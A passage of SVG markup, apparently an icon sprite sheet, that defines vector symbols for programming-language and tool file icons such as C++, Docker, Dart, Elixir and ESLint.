0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m7 0h-4.18C14.4 1.84 13.3 1 12 1c-1.3 0-2.4.84-2.82 2H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V5a2 2 0 0 0-2-2z" fill="#ffca28"/></symbol><symbol viewBox="0 0 24 24" id="cpp" xmlns="http://www.w3.org/2000/svg"><path d="M10.5 15.97l.41 2.44c-.26.14-.68.27-1.24.39-.57.13-1.24.2-2.01.2-2.21-.04-3.87-.7-4.98-1.96C1.56 15.77 1 14.16 1 12.21c.05-2.31.72-4.08 2-5.32C4.32 5.64 5.96 5 7.94 5c.75 0 1.4.07 1.94.19s.94.25 1.2.4l-.58 2.49-1.06-.34c-.4-.1-.86-.15-1.39-.15-1.16-.01-2.12.36-2.87 1.1-.76.73-1.15 1.85-1.18 3.34 0 1.36.37 2.42 1.08 3.2.71.77 1.71 1.17 2.99 1.18l1.33-.12c.43-.08.79-.19 1.1-.32M11 11h2V9h2v2h2v2h-2v2h-2v-2h-2v-2m7 0h2V9h2v2h2v2h-2v2h-2v-2h-2v-2z" fill="#0277bd"/></symbol><symbol viewBox="0 0 24 24" id="credits" xmlns="http://www.w3.org/2000/svg"><path d="M3 3h18v2H3V3m4 4h10v2H7V7m-4 4h18v2H3v-2m4 4h10v2H7v-2m-4 4h18v2H3v-2z" fill="#9ccc65"/></symbol><symbol viewBox="0 0 200 200" id="crystal" xmlns="http://www.w3.org/2000/svg"><style>.st0{fill:none}</style><path d="M179.363 121.67l-57.623 57.507c-.23.23-.576.346-.806.23l-78.713-21.09c-.346-.115-.577-.345-.577-.576L20.44 79.144c-.115-.345 0-.576.23-.806L78.294 20.83c.23-.23.576-.346.807-.23l78.713 21.09c.345.114.576.345.576.575l21.09 78.597c.23.346.115.577-.115.807zM102.148 59.09l-77.33 20.63c-.115 0-.23.23-.115.345l56.586 56.47c.115.115.346.115.346-.115l20.744-77.215c.115 0-.115-.23-.23-.116z" stroke-width="1.153" fill="#cfd8dc"/></symbol><symbol viewBox="0 0 200 200" id="crystal_light" xmlns="http://www.w3.org/2000/svg"><style>.st0{fill:none}</style><path d="M179.363 121.67l-57.623 57.507c-.23.23-.576.346-.806.23l-78.713-21.09c-.346-.115-.577-.345-.577-.576L20.44 79.144c-.115-.345 0-.576.23-.806L78.294 20.83c.23-.23.576-.346.807-.23l78.713 21.09c.345.114.576.345.576.575l21.09 78.597c.23.346.115.577-.115.807zM102.148 59.09l-77.33 20.63c-.115 0-.23.23-.115.345l56.586 56.47c.115.115.346.115.346-.115l20.744-77.215c.115 0-.115-.23-.23-.116z" fill="#37474f" stroke-width="1.153"/></symbol><symbol viewBox="0 0 24 24" id="csharp" xmlns="http://www.w3.org/2000/svg"><path d="M11.5 15.97l.41 2.44c-.26.14-.68.27-1.24.39-.57.13-1.24.2-2.01.2-2.21-.04-3.87-.7-4.98-1.96C2.56 15.77 2 14.16 2 12.21c.05-2.31.72-4.08 2-5.32C5.32 5.64 6.96 5 8.94 5c.75 0 1.4.07 1.94.19s.94.25 1.2.4l-.58 2.49-1.06-.34c-.4-.1-.86-.15-1.39-.15-1.16-.01-2.12.36-2.87 1.1-.76.73-1.15 1.85-1.18 3.34 0 1.36.37 2.42 1.08 3.2.71.77 1.71 1.17 2.99 1.18l1.33-.12c.43-.08.79-.19 1.1-.32M13.89 19l.61-4H13l.34-2h1.5l.32-2h-1.5L14 9h1.5l.61-4h2l-.61 4h1l.61-4h2l-.61 4H22l-.34 2h-1.5l-.32 2h1.5L21 15h-1.5l-.61 4h-2l.61-4h-1l-.61 4h-2m2.95-6h1l.32-2h-1l-.32 2z" fill="#0277bd"/></symbol><symbol viewBox="0 0 24 24" id="css" xmlns="http://www.w3.org/2000/svg"><path d="M5 3l-.65 3.34h13.59L17.5 8.5H3.92l-.66 3.33h13.59l-.76 3.81-5.48 1.81-4.75-1.81.33-1.64H2.85l-.79 4 7.85 3 9.05-3 1.2-6.03.24-1.21L21.94 3H5z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="css-map" xmlns="http://www.w3.org/2000/svg"><path d="M18 8v2h2v10H10v-2H8v4h14V8h-4z" fill="#42a5f5"/><path d="M4.676 3l-.488 2.51h10.211l-.33 1.623H3.864l-.496 2.502H13.58l-.57 2.863-4.119 1.36-3.569-1.36.248-1.232H3.06l-.593 3.005 5.898 2.254 6.8-2.254.902-4.53.18-.91L17.406 3H4.675z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 33 33" id="cucumber" xmlns="http://www.w3.org/2000/svg"><title>cucumber-mark-transparent-pips</title><g transform="translate(0 -5)" fill="none" fill-rule="evenodd"><path d="M-4-1h40v40H-4z"/><path d="M16.641 7.092c-7.028 0-12.714 5.686-12.714 12.714 0 6.187 4.435 11.327 10.288 12.471v3.64C21.824 34.77 28.561 28.73 29.063 20.8c.303-4.772-2.076-9.644-6.09-12.01a10.575 10.575 0 0 0-1.455-.728l-.243-.097c-.223-.082-.448-.175-.68-.242a12.614 12.614 0 0 0-3.954-.632zm2.62 4.707a1.387 1.387 0 0 0-1.213.485c-.233.31-.379.611-.534.923-.466 1.087-.31 2.251.388 3.105 1.087-.233 2.01-.927 2.475-2.014a2.45 2.45 0 0 0 .243-1.02c.048-.824-.634-1.404-1.359-1.479zm-5.654.073c-.708.068-1.382.63-1.382 1.407 0 .31.087.709.243 1.02.466 1.086 1.46 1.78 2.546 2.013.621-.854.782-2.018.316-3.105-.155-.311-.3-.617-.534-.85a1.364 1.364 0 0 0-1.188-.485zm-3.809 3.735c-1.224.063-1.77 1.602-.752 2.402.31.233.612.403.922.559 1.087.466 2.344.306 3.275-.316-.233-1.009-1.023-1.936-2.11-2.402-.388-.155-.703-.243-1.092-.243-.087-.009-.161-.004-.243 0zm11.961 4.708a3.551 3.551 0 0 0-2.013.582c.233 1.01 1.023 1.936 2.11 2.401.389.156.705.244 1.093.244 1.397.077 2.08-1.65.994-2.427-.31-.233-.611-.379-.922-.534a3.354 3.354 0 0 0-1.262-.266zm-10.603.072a3.376 3.376 0 0 0-1.261.267c-.389.155-.69.325-.923.558-1.009.854-.33 2.48 1.068 2.402.388 0 .782-.087 1.092-.243 1.087-.465 1.859-1.392 2.014-2.401a3.474 3.474 0 0 0-1.99-.582zm3.931 2.378c-1.087.233-2.009.927-2.475 2.014-.155.31-.243.684-.243.995-.077 1.32 1.724 2.028 2.5 1.02.233-.312.378-.613.534-.923.466-1.01.306-2.174-.316-3.106zm2.887.073c-.621.854-.781 2.019-.315 3.106.155.31.3.615.534.848.854.932 2.65.243 2.572-.921 0-.31-.088-.71-.243-1.02-.466-1.087-1.46-1.78-2.547-2.013z" fill="#4caf50" stroke-width=".776"/></g></symbol><symbol id="cuda" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"><style>.bust0{fill:#76b900}</style><title>NVIDIA-Logo</title><path id="buEye_Mark" class="bust0" d="M76.362 75.199V64.116c1.095-.068 2.19-.137 3.284-.137 30.377-.958 50.286 26.135 50.286 26.135s-21.483 29.83-44.539 29.83c-3.079 0-6.089-.48-8.962-1.438v-33.66c11.836 1.436 14.23 6.636 21.277 18.471l15.804-13.273s-11.562-15.12-30.992-15.12c-2.053-.068-4.105.069-6.158.274m0-36.67v16.556l3.284-.205c42.213-1.437 69.784 34.618 69.784 34.618s-31.608 38.45-64.516 38.45c-2.873 0-5.678-.274-8.483-.753v10.262c2.326.274 4.72.48 7.046.48 30.65 0 52.817-15.668 74.3-34.14 3.558 2.874 18.13 9.784 21.14 12.794-20.388 17.104-67.937 30.856-94.893 30.856-2.6 0-5.062-.137-7.525-.41v14.436h116.44V38.532zm0 79.977v8.757C48.038 122.2 40.17 92.712 40.17 92.712s13.615-15.05 36.192-17.514v9.579h-.068c-11.836-1.437-21.14 9.646-21.14 9.646s5.268 18.678 21.209 24.082M26.077 91.481S42.839 66.714 76.43 64.115v-9.03C39.213 58.094 7.057 89.565 7.057 89.565s18.199 52.68 69.305 57.47v-9.579c-37.492-4.652-50.286-45.975-50.286-45.975z" fill="#8bc34a" stroke-width=".684"/></symbol><symbol viewBox="0 0 24 24" id="dart" xmlns="http://www.w3.org/2000/svg"><title>Dart</title><path d="M12.486 1.385a.978.978 0 0 0-.682.281l-.01.007-6.387 3.692 6.371 6.372v.004l7.659 7.659 1.46-2.63-5.265-12.64-2.456-2.457a.972.972 0 0 0-.69-.288z" fill="#00ca94"/><path d="M5.422 5.35L1.73 11.733l-.007.01a.967.967 0 0 0 .006 1.371l3.059 3.061 11.963 4.706 2.704-1.502-.073-.073-.018.002-7.5-7.512h-.01L5.423 5.35z" fill="#1565c0"/><path d="M5.405 5.353l6.518 6.525h.01l7.502 7.51 2.855-.544.005-8.449-3.016-2.955c-.66-.647-1.675-1.064-2.695-1.202l.002-.032-11.181-.853z" fill="#1565c0"/><path d="M5.414 5.361l6.521 6.522v.009l7.506 7.506-.546 2.855h-8.448l-2.954-3.017c-.647-.66-1.064-1.676-1.2-2.696l-.033.003L5.414 5.36z" fill="#00ee94"/></symbol><symbol viewBox="0 0 24 24" id="database" xmlns="http://www.w3.org/2000/svg"><path d="M12 3C7.58 3 4 4.79 4 7s3.58 4 8 4 8-1.79 8-4-3.58-4-8-4M4 9v3c0 2.21 3.58 4 8 4s8-1.79 8-4V9c0 2.21-3.58 4-8 4s-8-1.79-8-4m0 5v3c0 2.21 3.58 4 8 4s8-1.79 8-4v-3c0 2.21-3.58 4-8 4s-8-1.79-8-4z" fill="#ffca28"/></symbol><symbol viewBox="0 0 24 24" id="diff" xmlns="http://www.w3.org/2000/svg"><path d="M3 1c-1.11 0-2 .89-2 2v11c0 1.11.89 2 2 2h2v-2H3V3h11v2h2V3c0-1.11-.89-2-2-2H3m6 6c-1.11 0-2 .89-2 2v2h2V9h2V7H9m4 0v2h1v1h2V7h-3m5 0v2h2v11H9v-2H7v2c0 1.11.89 2 2 2h11c1.11 0 2-.89 2-2V9c0-1.11-.89-2-2-2h-2m-4 5v2h-2v2h2c1.11 0 2-.89 2-2v-2h-2m-7 1v3h3v-2H9v-1H7z" fill="#42a5f5"/></symbol><symbol id="docker" viewBox="0 0 41 34.5" xmlns="http://www.w3.org/2000/svg"><style id="bystyle2">.byst0{fill:#fff}.byst1{clip-path:url(#bySVGID_4_)}</style><g id="byg34" transform="translate(.292 1.9)" fill="#0087c9"><g id="byg32"><g id="byg30"><title id="bytitle4">Group 3</title><g id="byg28"><g id="byg26"><g id="byg9"><path id="bySVGID_1_" class="byst0" d="M8.7 24c-1.1 0-2.1-.9-2.1-2s.9-2 2.1-2c1.2 0 2.1.9 2.1 2s-1 2-2.1 2zm25.8-10.9c-.2-1.6-1.2-2.9-2.5-3.9l-.5-.4-.4.5c-.8.9-1.1 2.5-1 3.7.1.9.4 1.8.9 2.5-.4.2-.9.4-1.3.6-.9.3-1.8.4-2.7.4H1.1l-.1.6c-.2 1.9.1 3.9.9 5.7l.4.7v.1c2.4 4 6.7 5.8 11.4 5.8 9 0 16.4-3.9 19.9-12.3 2.3.1 4.6-.5 5.7-2.7l.3-.5-.5-.3c-1.3-.8-3.1-.9-4.6-.5zm-12.9-1.6h-3.9v3.9h3.9zm0-4.9h-3.9v3.9h3.9zm0-5h-3.9v3.9h3.9zm4.8 9.9h-3.9v3.9h3.9zm-14.5 0H8v3.9h3.9zm4.9 0h-3.9v3.9h3.9zm-9.7 0H3.2v3.9h3.9zm9.7-4.9h-3.9v3.9h3.9zm-4.9 0H8v3.9h3.9z"/></g><g id="byg24"><defs id="bydefs12"><path id="bySVGID_2_" d="M8.7 24c-1.1 0-2.1-.9-2.1-2s.9-2 2.1-2c1.2 0 2.1.9 2.1 2s-1 2-2.1 2zm25.8-10.9c-.2-1.6-1.2-2.9-2.5-3.9l-.5-.4-.4.5c-.8.9-1.1 2.5-1 3.7.1.9.4 1.8.9 2.5-.4.2-.9.4-1.3.6-.9.3-1.8.4-2.7.4H1.1l-.1.6c-.2 1.9.1 3.9.9 5.7l.4.7v.1c2.4 4 6.7 5.8 11.4 5.8 9 0 16.4-3.9 19.9-12.3 2.3.1 4.6-.5 5.7-2.7l.3-.5-.5-.3c-1.3-.8-3.1-.9-4.6-.5zm-12.9-1.6h-3.9v3.9h3.9zm0-4.9h-3.9v3.9h3.9zm0-5h-3.9v3.9h3.9zm4.8 9.9h-3.9v3.9h3.9zm-14.5 0H8v3.9h3.9zm4.9 0h-3.9v3.9h3.9zm-9.7 0H3.2v3.9h3.9zm9.7-4.9h-3.9v3.9h3.9zm-4.9 0H8v3.9h3.9z"/></defs><clipPath id="bySVGID_4_"><use xlink:href="#bySVGID_2_" id="byuse14" width="100%" height="100%" overflow="visible"/></clipPath><g class="byst1" clip-path="url(#bySVGID_4_)" id="byg22"><g id="byg20"><g id="byg18"><path id="bySVGID_3_" class="byst0" d="M-48.8-21H1226v151.4H-48.8z"/></g></g></g></g></g></g></g></g></g></symbol><symbol viewBox="0 0 24 24" id="document" xmlns="http://www.w3.org/2000/svg"><path d="M13 9h5.5L13 3.5V9M6 2h8l6 6v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m9 16v-2H6v2h9m3-4v-2H6v2h12z" fill="#42a5f5"/></symbol><symbol preserveAspectRatio="xMidYMid" viewBox="0 0 200 200" id="drone" xmlns="http://www.w3.org/2000/svg"><g fill="#e0e0e0" transform="translate(9.063 22.346) scale(.71044)"><path d="M128.22.723C32.095.723.39 84.566.39 115.222h77.928S89.36 75.275 128.22 75.275s49.906 39.947 49.906 39.947h77.476c0-30.66-31.257-114.5-127.38-114.5m98.82 134.45h-48.914s-8.55 39.946-49.906 39.946c-41.355 0-49.902-39.948-49.902-39.948H30.255c0 10.25 37.727 82.708 98.443 82.708 60.714 0 98.344-59.604 98.344-82.708"/><circle cx="128" cy="126.08" r="32.768"/></g></symbol><symbol preserveAspectRatio="xMidYMid" viewBox="0 0 200 200" id="drone_light" xmlns="http://www.w3.org/2000/svg"><g fill="#424242" transform="translate(9.063 22.346) scale(.71044)"><path d="M128.22.723C32.095.723.39 84.566.39 115.222h77.928S89.36 75.275 128.22 75.275s49.906 39.947 49.906 39.947h77.476c0-30.66-31.257-114.5-127.38-114.5m98.82 134.45h-48.914s-8.55 39.946-49.906 39.946c-41.355 0-49.902-39.948-49.902-39.948H30.255c0 10.25 37.727 82.708 98.443 82.708 60.714 0 98.344-59.604 98.344-82.708"/><circle cx="128" cy="126.08" r="32.768"/></g></symbol><symbol viewBox="0 0 3473 3473" id="editorconfig" shape-rendering="geometricPrecision" text-rendering="geometricPrecision" image-rendering="optimizeQuality" fill-rule="evenodd" clip-rule="evenodd" xmlns="http://www.w3.org/2000/svg"><defs id="ccdefs4"><style id="ccstyle2">.ccfil2{fill:#020202}.ccfil0{fill:#e3e3f8}.ccfil5{fill:#efefef}.ccfil6{fill:#faf1f1}.ccfil3{fill:#fdf2f2}.ccfil1{fill:#fdfdfd}.ccfil4{fill:#fef3f3}</style></defs><g id="ccLayer_x0020_1" transform="matrix(.8945 0 0 .8945 138.649 275.985)"><g id="cc_631799120"><g id="ccg11"><path class="ccfil0" d="M967 1895c46-30 84-105 61-158-63 27-60 89-61 158z" id="ccpath7" fill="#e3e3f8"/><path class="ccfil0" d="M1679 2067c50-16 98-72 71-130-39 27-64 64-71 130z" id="ccpath9" fill="#e3e3f8"/></g><g id="ccg21"><path class="ccfil1" d="M280 2895c0 63 16 131 60 155 162 91 730 20 923-23 101-23 183-98 278-139 214-93 369-168 540-293 124-91 321-347 342-500l-169-38c-4 172-43 211-196 251-103 28-304 34-409 16-139-23-202-96-265-179-122-162 27-275-166-286-203 249-561 70-718 45-67 97-224 727-222 871 97-33 158 3 245 37 308 119 39 224-84 193-84-20-110-75-159-110z" id="ccpath13" fill="#fdfdfd"/><path class="ccfil1" d="M683 1458c125 24 236 76 342 129 173 86 204 74 220 194 2 22-2 34 61 54 106 33-61-26 223-25 169 1 556 69 681 148 52 33 42 75 218 70-2-207-57-516-138-706-99-230-230-265-497-351-156-50-614-105-756-17-133 83-158 182-282 356-36 51-49 90-72 148z" id="ccpath15" fill="#fdfdfd"/><path class="ccfil1" d="M1784 1883c100 41-5 306-144 242-45-127 62-199 91-256-60-9-231-36-282-17-66 25-81 166-47 232 160 314 867 247 792 3-30-99-58-115-159-149-81-27-162-55-251-55z" id="ccpath17" fill="#fdfdfd"/><path class="ccfil1" d="M527 1848c80 77 261 89 378 95 15-155 28-271 152-262 61 83 29 181-35 244 109-1 172-83 156-202-92-66-371-198-511-217-39 42-135 272-140 342z" id="ccpath19" fill="#fdfdfd"/></g><path class="ccfil2" d="M339 2838c66-6 238 44 252 100-107 13-243 3-252-100zm-59 57c49 35 75 90 159 110 123 31 392-74 84-193-87-34-148-70-245-37-2-144 155-774 222-871 157 25 515 204 718-45 193 11 44 124 166 286 63 83 126 156 265 179 105 18 306 12 409-16 153-40 192-79 196-251l169 38c-21 153-218 409-342 500-171 125-326 200-540 293-95 41-177 116-278 139-193 43-761 114-923 23-44-24-60-92-60-155zm1399-828c7-66 32-103 71-130 27 58-21 114-71 130zm105-184c89 0 170 28 251 55 101 34 129 50 159 149 75 244-632 311-792-3-34-66-19-207 47-232 51-19 222 8 282 17-29 57-136 129-91 256 139 64 244-201 144-242zm-817 12c1-69-2-131 61-158 23 53-15 128-61 158zm-440-47c5-70 101-300 140-342 140 19 419 151 511 217 16 119-47 201-156 202 64-63 96-161 35-244-124-9-137 107-152 262-117-6-298-18-378-95zm-100-80c-37-102-37-261 120-274l-80 223c-21 48-21 37-40 51zm256-310c23-58 36-97 72-148 124-174 149-273 282-356 142-88 600-33 756 17 267 86 398 121 497 351 81 190 136 499 138 706-176 5-166-37-218-70-125-79-512-147-681-148-284-1-117 58-223 25-63-20-59-32-61-54-16-120-47-108-220-194-106-53-217-105-342-129zm1770-49c-19-63 16-59 77-102 35-25 63-51 106-75 161-90 461-105 589 2 52 43 137 127 124 237-27 219-177 339-300 439-125 102-333 207-548 137-18-44-4-323-25-426-19-92-9-102 44-157 156-162 494-280 686-141 81 60 58 83 100 129 52-56-45-244-403-232-243 8-348 198-450 189zM997 840c5-139 133-427 261-527 155-120 317-233 555-98 59 33 56 50 62 132 5 79-2 108-22 172-158 510-290 217-796 338 19-166 163-314 243-391 137-133 236-219 442-191 57 95 63 155-6 266-92 148-115 139-101 240 72-18 94-88 127-158 201-420-91-471-270-394-120 51-334 287-404 429-14 28-29 64-42 95zm792 21c21-125 145-156 145-541 0-166-204-315-471-204-229 94-264 166-386 350-115 174-111 365-210 526-29 46-55 62-87 108-23 34-40 77-63 117-47 77-95 133-133 225-120 3-221 5-233 129-16 170 64 212 64 276-1 69-281 765-203 1180 22 114 97 115 217 129 289 35 664 23 923-81l470-225c119-67 319-194 408-287 63-65 96-120 150-197 74-108 76-106 92-253 98 18 281 61 342 114-7 69-41 36-41 98 39 1 104-48 120-102-41-60-84-50-143-98 47-37 132-54 197-81 140-58 379-234 438-394 47-129 12-344-64-428-80-88-266-133-418-133-181 0-368 130-514 186-56-49-60-105-101-159-47-64-353-224-499-255z" id="ccpath23" fill="#020202"/><path class="ccfil3" d="M2453 1409c102 9 207-181 450-189 358-12 455 176 403 232-42-46-19-69-100-129-192-139-530-21-686 141-53 55-63 65-44 157 21 103 7 382 25 426 215 70 423-35 548-137 123-100 273-220 300-439 13-110-72-194-124-237-128-107-428-92-589-2-43 24-71 50-106 75-61 43-96 39-77 102z" id="ccpath25" fill="#fdf2f2"/><path class="ccfil4" d="M997 840l49-87c13-31 28-67 42-95 70-142 284-378 404-429 179-77 471-26 270 394-33 70-55 140-127 158-14-101 9-92 101-240 69-111 63-171 6-266-206-28-305 58-442 191-80 77-224 225-243 391 506-121 638 172 796-338 20-64 27-93 22-172-6-82-3-99-62-132-238-135-400-22-555 98-128 100-256 388-261 527z" id="ccpath27" fill="#fef3f3"/><path class="ccfil5" d="M427 1768c19-14 19-3 40-51l80-223c-157 13-157 172-120 274z" id="ccpath29" fill="#efefef"/><path class="ccfil6" d="M591 2938c-14-56-186-106-252-100 9 103 145 113 252 100z" id="ccpath31" fill="#faf1f1"/></g></g></symbol><symbol viewBox="0 0 24 24" id="elixir" xmlns="http://www.w3.org/2000/svg"><path d="M12.431 22.383c-3.86 0-6.99-3.64-6.99-8.13 0-3.678 2.774-8.172 4.916-10.91 1.014-1.295 2.931-2.321 2.931-2.321s-.982 5.238 1.683 7.318c2.365 1.847 4.105 4.25 4.105 6.363 0 4.232-2.784 7.68-6.645 7.68z" fill="#9575cd" stroke-width="1.256"/></symbol><symbol viewBox="0 0 323.00001 322.99999" id="elm" xmlns="http://www.w3.org/2000/svg"><g transform="matrix(.8053 0 0 .8053 30.106 31.524)"><path fill="#f0ad00" d="M160.8 153.865l68.028-68.03H92.77z"/><path fill="#7fd13b" d="M160.983 5.098H12.033l68.524 68.525H229.51z"/><path fill="#7fd13b" stroke-width=".974" d="M243.906 88.021l74.136 74.137-74.474 74.475-74.137-74.137z"/><path fill="#60b5cc" d="M318.2 145.045V5.098H178.252z"/><path fill="#5a6378" d="M152.164 162.499L3.4 13.733v297.533z"/><path fill="#f0ad00" d="M252.205 245.27l65.995 65.996v-131.99z"/><path fill="#60b5cc" d="M160.8 171.134L12.034 319.899h297.53z"/></g></symbol><symbol viewBox="0 0 24 24" id="email" xmlns="http://www.w3.org/2000/svg"><path d="M20 8l-8 5-8-5V6l8 5 8-5m0-2H4c-1.11 0-2 .89-2 2v12a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 30 30" id="erlang" xmlns="http://www.w3.org/2000/svg"><path style="line-height:1.25;-inkscape-font-specification:'Wide Latin'" d="M5.217 4.367c-.048.052-.097.1-.144.153C2.697 7.182 1.51 10.798 1.51 15.366c0 4.418 1.156 7.862 3.46 10.34h19.414c2.553-1.152 4.127-3.43 4.127-3.43l-3.147-2.52-1.454 1.381c-.866.773-.845.931-2.314 1.78-1.496.674-3.04.966-4.634.966-2.516 0-4.423-.909-5.723-2.059-1.286-1.15-1.985-4.511-2.097-6.68l17.458.067-.182-1.472s-.847-7.129-2.542-9.372zm8.76.846c1.565 0 3.22.535 3.96 1.471.742.937.932 1.667.974 3.524H9.12c.111-1.955.436-2.81 1.372-3.697.937-.888 2.03-1.298 3.484-1.298z" font-weight="400" font-size="48" font-family="Wide Latin" letter-spacing="0" word-spacing="0" fill="#f44336" stroke-width=".97"/></symbol><symbol viewBox="0 0 299.99999 300.00001" id="eslint" xmlns="http://www.w3.org/2000/svg"><g transform="translate(-2.88 18.438) scale(1.0344)"><path d="M97.021 99.016l48.432-27.962c1.212-.7 2.706-.7 3.918 0l48.433 27.962a3.92 3.92 0 0 1 1.959 3.393v55.924a3.924 3.924 0 0 1-1.959 3.394l-48.433 27.962c-1.212.7-2.706.7-3.918 0l-48.432-27.962a3.92 3.92 0 0 1-1.959-3.394v-55.924a3.922 3.922 0 0 1 1.959-3.393" fill="#7986cb"/><path d="M273.34 124.49L215.473 23.82c-2.102-3.64-5.985-6.325-10.188-6.325H89.545c-4.204 0-8.088 2.685-10.19 6.325L21.488 124.27c-2.102 3.641-2.102 8.236 0 11.877l57.867 99.847c2.102 3.64 5.986 5.501 10.19 5.501h115.74c4.203 0 8.087-1.805 10.188-5.446l57.867-100.01c2.104-3.639 2.104-7.907.001-11.547m-47.917 48.41c0 1.48-.891 2.849-2.174 3.59l-73.71 42.527a4.194 4.194 0 0 1-4.17 0l-73.767-42.527c-1.282-.741-2.179-2.109-2.179-3.59V87.847c0-1.481.884-2.849 2.167-3.59l73.707-42.527a4.185 4.185 0 0 1 4.168 0l73.772 42.527c1.283.741 2.186 2.109 2.186 3.59z" fill="#3f51b5"/></g></symbol><symbol viewBox="0 0 24 24" id="exe" xmlns="http://www.w3.org/2000/svg"><path d="M19 4a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h14m0 14V8H5v10h14z" fill="#e64a19"/></symbol><symbol viewBox="0 0 24 24" id="favicon" xmlns="http://www.w3.org/2000/svg"><path d="M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.62L12 2 9.19 8.62 2 9.24l5.45 4.73L5.82 21 12 17.27z" fill="#ffd54f"/></symbol><symbol viewBox="0 0 24 24" id="file" xmlns="http://www.w3.org/2000/svg"><path d="M13 9h5.5L13 3.5V9M6 2h8l6 6v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m5 2H6v16h12v-9h-7V4z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 400 400" id="firebase" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 103)"><path d="M72.55 208.77l44.456-292.29 56.209 90.445L195.49-37.57 330.6 209.28z" fill="#ffa712"/><path d="M195.7 276.73l134.9-67.45-46.5-224.83L72.55 208.77z" fill="#fcca3f"/><path d="M173.22 6.932L72.56 208.772l136.35-144.58z" fill="#f6820c"/></g></symbol><symbol viewBox="0 0 24 24" id="flash" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="cma"><stop offset="0" stop-color="#d92f3c"/><stop offset="1" stop-color="#791223"/></linearGradient><linearGradient xlink:href="#cma" id="cmb" x1="2.373" y1="12.027" x2="21.86" y2="12.027" gradientUnits="userSpaceOnUse" gradientTransform="translate(-.09 -24.144)"/></defs><rect width="19.487" height="19.487" x="2.283" y="-21.86" transform="rotate(90)" ry="0" fill="url(#cmb)"/><path style="line-height:125%" d="M16.802 5.768l-.013.002a6.43 6.43 0 0 0-1.182.192 5.062 5.062 0 0 0-1.494.718c-.428.323-.817.72-1.17 1.191-.34.48-.682 1.032-1.022 1.66-.12.228-.233.424-.35.636v.002h-.004l-1.34 2.394-.005-.002c-.238.443-.461.847-.665 1.198a4.358 4.358 0 0 1-.716.94 2.79 2.79 0 0 1-.907.594c-.072.027-.161.042-.242.063h-.989v2.414h.989v-.002a6.427 6.427 0 0 0 1.185-.192 5.062 5.062 0 0 0 1.494-.718 5.94 5.94 0 0 0 1.171-1.191c.34-.48.681-1.033 1.021-1.66.12-.228.235-.425.353-.637l.006.002.003-.005.037-.066h2.53v.002h1.124v-2.408h-.33v-.001h-1.98c.22-.407.432-.789.621-1.115.214-.37.452-.682.717-.94a2.79 2.79 0 0 1 .906-.594c.07-.027.16-.041.239-.061h.992V8.18h-.002V5.77h-.977v-.002z" font-weight="400" font-size="40" font-family="sans-serif" letter-spacing="0" word-spacing="0" fill="#fff"/></symbol><symbol class="cnflow-logo" viewBox="0 0 299.99999 300" id="flow" xmlns="http://www.w3.org/2000/svg"><title>Flow logo</title><path d="M38.75 33.427l77.461 77.47H54.436l61.145 61.16H38.437l93.462 93.478v-77.158l.01-.01v-77.47h-.01V66.982h46.691l20.394 20.393H153.57v76.531h22.05l24.474 24.473h-15.806l-.01-.01v.01h-31.665l-.01-.01v.01h-.313l.313.313v77.148h109.149l-39.2-39.2v-15.806l8.465 8.466v-77.37h-15.682l.017-38.191 30.09 30.086V56.362h-64.874l-22.94-22.934H113.71z" fill="#fbc02d" fill-opacity=".976" stroke-width=".955" class="cnflow-logo-mark"/></symbol><symbol clip-rule="evenodd" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414" viewBox="0 0 24 24" id="folder-aurelia" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="coa" x1="-388.15%" x2="237.68%" y1="-144.18%" y2="430.41%"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cob" x1="72.945%" x2="-97.052%" y1="84.424%" y2="-147.7%"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="coc" x1="-283.88%" x2="287.54%" y1="-693.6%" y2="101.71%"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cod" x1="-821.19%" x2="101.99%" y1="-469.05%" y2="288.24%"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="coe" x1="-140.36%" x2="419.01%" y1="-230.93%" y2="261.98%"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="cof" x1="191.08%" x2="20.358%" y1="253.95%" y2="20.403%"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="cog" x1="-388.09%" x2="237.67%" y1="-173.85%" y2="518.99%"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="coi" x1="-31.824" x2="19.682" y1="-11.741" y2="35.548" gradientTransform="scale(.95818 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#coa"/><linearGradient id="coj" x1="12.022" x2="-15.716" y1="13.922" y2="-23.952" gradientTransform="scale(.96226 1.0392)" gradientUnits="userSpaceOnUse" xlink:href="#cob"/><linearGradient id="cok" x1="-23.39" x2="23.931" y1="-57.289" y2="8.573" gradientTransform="scale(1.0429 .95884)" gradientUnits="userSpaceOnUse" xlink:href="#coc"/><linearGradient id="col" x1="-53.331" x2="6.771" y1="-30.517" y2="18.785" gradientTransform="scale(.99898 1.001)" 